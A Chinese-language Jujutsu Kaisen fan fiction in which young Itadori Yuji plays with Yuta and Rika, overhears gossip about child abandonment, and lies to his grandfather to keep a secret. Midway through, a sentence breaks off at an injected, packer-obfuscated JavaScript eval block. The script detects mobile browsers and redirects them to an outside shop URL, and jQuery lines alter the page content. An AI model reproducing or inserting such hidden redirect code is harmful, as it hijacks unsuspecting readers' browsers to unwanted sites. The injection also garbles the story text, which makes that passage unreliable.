虎杖悠仁很喜欢自己的家人。
真正的家人。
——
最近已经开始准备进入梅雨季，淅淅沥沥的雨总是下个不停。虎杖悠仁趴在窗户边，望着庭院里被屋檐滑落的雨滴打得抬不起头来的草叶。除了淋漓不尽的水声，屋子里的电视机中还传来了女性播报员的声音。
“......持续报道，5月28日北海道七饭町山中7岁男童田野冈大和失踪事件最新进展......”
有不听话的雨点溅到了他的脸上，虎杖悠仁不适地眯起眼睛，用拇指蹭掉颧骨上的水。
“悠仁！”
虎杖倭助的大嗓门从身后传来，伴随着碗筷摆放的声音，虎杖悠仁从小凳子上爬了下来，帮着爷爷从厨房拿来了酱油和调味料。最近老人做的饭总是味道淡淡的，必须得自己再放些椒盐或酱油才行。
白米饭上放了两粒梅干，今天的主菜是复热的盐烧鲭鱼和渍黄瓜，虎杖悠仁喝了一口配着豆腐海带的味噌汤，味道蛮正常的，应该是直接放了从超市买回来的味噌汤粉。
“......大和失踪的森林附近有村民目击到熊的出没，当地持续降雨、夜间温度接近......”
“吃吧。”虎杖倭助给自己倒了一小杯酒，还没送到嘴边就看到虎杖悠仁瞪着两只大眼睛谴责地看着他。
放到嘴边的酒杯定在了原地，那眼神就像是有魔力一样，老人的手怎么都动不了了。
“......搜寻工作将扩大到失踪地附近的自卫队驹岳演习场，生还......”
虎杖倭助在四岁孩子的目光中败下阵来，但又不甘心地说：“我就喝这一杯......”
“但是，爷爷你最近吃得都很少，老是腿痛。”
而且。
那些东西一直跟在爷爷的身边。
虎杖悠仁的眼睛转了转，好像是在看嘴硬的老人，又像是轻飘飘地落在了他的身后、头顶、肩膀。
虎杖倭助摸了摸脖子，龇牙咧嘴地教训道：“快点好好吃饭吧！真是不让人省心的孙子，等雨停了就赶快出去玩吧！”
小小的孩子愤愤反驳：“爷爷才是！”
老人甩甩手，不再与他争辩。大人总是自以为是，觉得小孩子什么都不懂，是很好糊弄过去的，所以他们总爱和孩子撒谎。
如果那些东西在笑的话，虎杖悠仁就知道爷爷在骗人。没准又是以“忘记了”为理由没吃药，或者现在腿疼得很又装作什么都没发生的样子给自己准备午饭。
“滚开。”虎杖悠仁站在电视机前，尽管声音柔软又没什么威慑力，但他没有半分退缩的意思：“从我家里滚出去！”
“悠仁？”在厨房收拾碗筷的虎杖倭助不太确定自己是不是听到了孙子的声音。当他拿起抹布走到客厅的时候，榻榻米上已经没有虎杖悠仁的身影了。
连接着庭院的门廊悬挂的风铃被拨响，随后便是房门被关上的声音。
“......”虎杖倭助擦完桌子，将抹布放回水池边，揉了揉自己的膝盖。一到雨天他的双腿就会很容易水肿，关节也隐隐作痛。肺部开始像破风箱一样拉扯着，潮湿闷热的天气让他总觉得喘不过来气。
“算了，他能跟附近的孩子尽快熟悉起来也好。”虎杖倭助挺直脊背，挪动着在矮桌前坐了下来。刚刚过去的这场雨没能带来任何凉爽的气息，空气中依旧夹杂着初夏的燥热，让人忍不住叹气。
“悠仁啊......”
家里习惯存放的应急现金也不太多了，下次路过......
刺耳的电话铃声恰好在此时响起，打断了虎杖倭助的自言自语。
铃声响个不停，仿佛在催促着老人尽快起身。明明只是重复的声音片段，可虎杖倭助却宛如感受到有什么步步逼近的阴影，锋利的爪牙遥遥坠在他们身后，戏弄着他们的生活。
最终他还是喘息着起身，走了过去。
换上明黄色的雨衣，踩着画着绿色青蛙的小雨鞋，虎杖悠仁的手臂上挂着一把红色的儿童伞走在路边。这双雨鞋是他在乡下时隔壁的婆婆送给他的，即便搬家也没有扔掉。他动了动有些局促的脚趾，就是鞋子已经有点小了。
走在街边商铺的屋檐下躲开积水，虎杖悠仁拐到了一家便利店的柜台前。在这里看店的老奶奶已经很熟悉这个粉色头发的孩子了，他和爷爷生活在一起、刚搬到这附近大概两个月左右，是个性格很讨人喜欢的小家伙。
大概是家里的老人身体不太好，所以这孩子很懂事，但偶尔也能看到他大大方方地展示性子里有些顽皮的那一面。要是自家孩子能有他一半省心就好了。
街角的这家便利店用老奶奶家一间靠街道的小屋子改造而成，原本的窗户扩大了一些，变成了矮矮的柜台，方便跪坐在榻榻米上的老人随手拿取货物。成年人来这里的话需要弯下腰才能接触到柜面，但对于孩子们来说高度正好。
虎杖悠仁微微垫起脚，放下了几枚硬币，推向柜台内侧。
老奶奶与他心有灵犀，在孩子的注视下从玻璃柜台里挑了三支美味棒，又悄悄塞了一些金平糖到他的手里。
虎杖悠仁谢过她之后，掀开雨衣将糖果和美味棒塞到口袋里，继续向前。
“要注意安全哦。”老奶奶一如往常地叮嘱他。
走在路上的时候，他没忍住偷偷吃了一颗金平糖。因为天刚刚放晴，路上没有太多的人，路口没有车，但虎杖悠仁还是乖乖等着红绿灯。硬质糖块把他的脸颊撑得鼓鼓的，在口腔里散发着甜甜的滋味，用舌头去舔的话还能尝到柠檬一样的酸。
家电商铺的老板刚把遮雨棚收起来，循环播放着赛事频道的电视左上角有显示时间，虎杖悠仁看到后立刻跑了起来。
看到藏在高大树木之间的小公园时，虎杖悠仁的脚步加快了。
穿着深蓝裙子的女孩身影一闪而过，只露出了一个发顶，又消失在公园外侧灌木丛的树影后。
“......嘎哩嘎哩君要化掉了......”有人低落地说。
“忧太吃掉就好啦，”女孩说，“那孩子来了，我再给他买一根就好。”
虎杖悠仁的青蛙雨鞋踏进一片积水，小小的身体从灌木丛的遮挡后钻了出来。
“啊，正好呢！悠仁，快来这边！”黑发的男孩女孩一起向他招手，虎杖悠仁跑了过去。
“是美味棒！”乙骨忧太将最后一根嘎哩嘎哩君交给他，从粉发孩子手中接过美味棒和金平糖，分给了女孩。
祈本里香用手指摸着仍挂在器材下方将落未落的雨滴，将它们一一扫落。把湿漉漉的指尖放在鼻子下嗅闻，还能察觉到微弱的铁锈味。和单纯下过雨后的空气的味道不太一样。
“悠仁怎么还穿着雨衣？待会儿就会热起来了哦，”祈本里香甩开手指上的水珠，把明黄色的雨衣帽子掀开，虎杖悠仁圆圆的脸露了出来，“今天不会再下雨了。”
小公园里只有他们三个，所有的设施都被淋湿了，如果不想将衣服弄得潮潮的，就只能等太阳将那场雨留下的痕迹全部蒸发干净。
“啊~难道说悠仁想要穿着雨衣玩滑梯吗？所以才带着雨具过来了？”
虎杖悠仁摇摇头，嘴巴被嘎哩嘎哩君塞得满满当当，没说话。
他只是有点害怕。
那连绵不断、仿佛要下一辈子的暴风雨。
祈本里香拆开美味棒的包装纸，坐在乙骨忧太身边，也没有说话，眉眼弯弯地盯着虎杖悠仁看。
虎杖悠仁的注意力在她下巴的那颗痣上。
“咳、咳咳......”乙骨忧太控制不住的咳嗽声将两个人的目光吸引了过去。他虽然比虎杖悠仁高一些，但却没粉发孩子长得壮实，略微有些宽大的短袖罩在他的身上，偶尔会被风吹得紧贴着皮肤，将单薄的身体勾勒出来。
“忧太，你的感冒还没好吗？”虎杖悠仁问道。
乙骨忧太吸吸鼻子，他其实还有点发烧，但在吃完嘎哩嘎哩君之后感觉嗓子好了一些。
“应该快好啦，”他笑着说，“悠仁没关系吗？毕竟我和里香都去医院了......”
祈本里香从坐着的石台子上跳下来，将没吃完的美味棒叼在嘴里，双手捧住了虎杖悠仁的脸。大概是手感很好，她不自觉地捏了捏，感受着小孩身体里火热的温度，含含糊糊地说：“悠仁很健康呢。”
虎杖悠仁打了个哆嗦。
“抱歉，我的手很凉吗？”
祈本里香松开手，改为揉搓他的头发。
虎杖悠仁的牙咬到了坚硬的木棍，将附着在上面的最后一点冰沙吞掉，他拿出来看了一眼：“里香的手在夏天很凉快。嗯......不是中奖棍呢。”
“我从来没有吃到过中奖棍......”乙骨忧太低下头。
午后的太阳在乌云散去后逐渐露了出来，他们移动到了不会被阳光照到的树荫下。滑梯下面的秘密空间里很潮，还有积水和蜗牛，祈本里香不想进去待着，所以他们来到了公园的一角。
虎杖悠仁在沙坑里踩了一脚，留下湿哒哒的鞋印。
没有滑梯和器械可以玩，他们只能蹲在一张纸板前玩乙骨忧太带来的橡皮泥。乙骨忧太很擅长用橡皮泥捏出各种形状，这次他还带了一种新的水晶泥，是透明的，里面还撒了很多像是星星一样的亮片。不过这种水晶泥很容易沾上灰尘，虎杖悠仁不小心弄掉了一小块，捡起来之后拿到小水池边用水清理。
清凉的水流打湿了他的双手，水晶泥比他想象的更滑，沾上水之后更甚。
陆陆续续的，有一些大人带着小孩子来到这片小公园，不过大多数都在发现器械上的雨水没有干透后选择离开，但还是有两个留了下来。大人们就坐在水池旁边的长椅上，正对着虎杖悠仁。
他的个子不够高，勉强能把鼻子从台面上露出来。琥珀色的眼睛透过流水的缝隙看向了正在聊天的大人们。
“你听说了吗？北海道的儿童走失案件......”
“这几天下大雨，走失的地方还是那边有名的熊森......虽然很遗憾，但我觉得那孩子不一定能活下来了。”
“总在新闻里听到，真是太可怕了。”
虎杖悠仁收回目光，专注地将黏在水晶泥上的石子砂砾扣掉。有些水晶泥挤进了他的指甲缝，他只能继续清理自己的指甲。
“但是，你知道吗？”手臂上挎着布包的夫人贴到朋友的耳边，用分享秘密的声音说道：“那个孩子不是自己走丢的呢！”
琥珀色的眼睛转了回去。
“诶？我记得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378140|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新闻上说是和父母去郊游采野菜的时候......”
知道更多秘密的夫人拍了拍朋友的手臂，嘴角带着笑，说出了笃定的话：“什么呀！是那个男人说谎了，他因为想要教训调皮的儿子所以把他赶下了车，就那样丢在了路边，自己开车走了！”
朋友震惊地捂住嘴巴：“怎么会有这种人？再怎么说也是自己的亲生骨肉......”
她抬头看了一眼正在公园里玩闹的孩子，随即松了一口气：“那就是谋杀了！居然还和警察撒谎吗？”
“说不定就是为了逃脱责任才这么说的，因为养不起小孩就将他们丢掉的事情又不新鲜，孤儿院可怜的孩子们不都是被父母抛弃的吗？”
虎杖悠仁麻木地搓着水晶泥，双手像是要被冰凉的水冻住了一样，快要没有知觉了。
“悠仁。”
祈本里香站在他身后叫他的名字，虎杖悠仁手上的力道一松，那一小块清理干净的水晶泥掉进了池子里，顺着中间的孔洞滑入下水道。
“怎么了吗？”女孩凑到他身边，弯腰看他。
“......不，”虎杖悠仁关上水龙头，说道，“水晶泥掉下去了。”
他回头，看见乙骨忧太已经将所有的东西收拾起来，正在往他们这边走。
“怎么悠仁？你去洗得太久啦！”乙骨忧太带了一个小塑料袋将嘎哩嘎哩君和美味棒剩下的包装装好：“我们去河边玩吧。”
祈本里香牵起虎杖悠仁的手，没想到粉发的孩子稍微用了些力，在他们惊讶的眼神中跑到了沙坑边，用脚蹭掉了那个已经随着水分蒸发开始定型的脚印，然后又跑了回来，主动牵住了祈本里香。
乙骨忧太笑着说：“没、没关系啦，反正很快就会被别人弄乱......我们去钓小龙虾吧！”
他的嘴巴在笑，但眉头却不自觉地皱着，说的话也有些吞吞吐吐。
虎杖悠仁抬起头看比他高了一头的祈本里香。女孩的手掌永远是冰凉的，比他刚才在冰水里冲了许久的手更凉。
祈本里香温柔地笑着，下巴上的小痣也开心地翘了起来：“忧太说得对，不用担心，悠仁。最近下了很久的雨呢，雨会把一切都冲干净的。”
乙骨忧太咬着嘴唇，祈本里香的另一只手搭到了他的臂弯中，三个人一起向小河边走去。
“但是，悠仁是个好孩子对吧？答应过的事就一定得做到才行，不然会被地狱阎魔拔掉舌头的哦。”
女孩扯着男孩子们大步向前走。
虎杖悠仁心有所感般扭头，对上了乙骨忧太深不见底的黑色眼睛。
必须，要保密才行。
——
虎杖悠仁在太阳彻底落山之前回了家。在乡下的时候他也总是在外面玩到这个时间才匆匆往回跑，小袋子里装了几只体型不大的小龙虾，本来里面放了一些水，但其中一只的钳子把袋子戳破了，水在半路就滴滴答答地洒得一点都不剩。
“爷爷，我回来了！”他脱掉雨鞋，将红色的小伞摆在爷爷的大伞旁边，明黄雨衣挂回玄关的挂钩上。下午果然没再下雨，因为热得过分，虎杖悠仁把雨衣脱下来当成野餐垫，三个孩子玩累了就坐在上面休息。
“悠仁。”虎杖倭助从客厅里走过来，手里拿着一份报纸。
“怎么了爷爷？”
老人摊开手中的报纸，虎杖悠仁似乎能够闻到铅墨的味道。
“我去医院那天有电话打到家里来了吧？你还记得是谁打过来的吗？”
虎杖悠仁的视力很好。他能清楚地看见报纸上醒目的标题，尽管有些汉字还不太认识，但他大概能够认全“仙台”、“女孩”和“山”这些词。
虎杖倭助将写着“仙台6岁女孩登山失踪后被找回，其父亲仍行踪不明”的报纸放回桌上，从孙子手中接过装着小龙虾的袋子：“应该是上周三的事吧，你还有印象吗？下了大雨，你自己在家的那天。”
粉发的孩子低着头，从爷爷腿边跑过，去厨房的水池里洗手。
“我不记得啦，”他搓着手说，“那天我很早就睡了。”
虎杖倭助将蔫哒哒的小龙虾们倒进一个小盆里，摆到了厨房地面的角落里：“也是，你一大早就跑去给我送饭了。去把裤子换了，沾上泥点了！”
虎杖悠仁扒拉着裤子回头看：“我都没注意到！”
“幸亏你没往沙发上坐，快去换了裤子吃晚饭！”
听到小孩关门的声音，虎杖倭助从厨房端着两碗拉面来到了客厅，摆好筷子。他盘腿坐在矮桌前，换了几个电视频道，最后停留在了晚间新闻。
老人撑着下巴，过了几秒之后重新拿起了被他搁在一旁的报纸。
新闻报道中的名字都是假名，不过姓氏应该是真的。
“祈本......”他觉得这名字有些熟悉，但却想不起来具体的印象。
浴室内，虎杖悠仁瘪着嘴，眼睛变得湿润起来。
他说谎了。
眨眨眼睛，他趁着眼周还没变红之前用水洗掉了眼泪。因为说谎而难受的心让他难忍泪意，对待家人应该是毫无保留的，可他辜负了爷爷的信任。
对不起，爷爷！但是，那件事是正确的......不让人知道也是正确的，所以撒谎......也是正确的。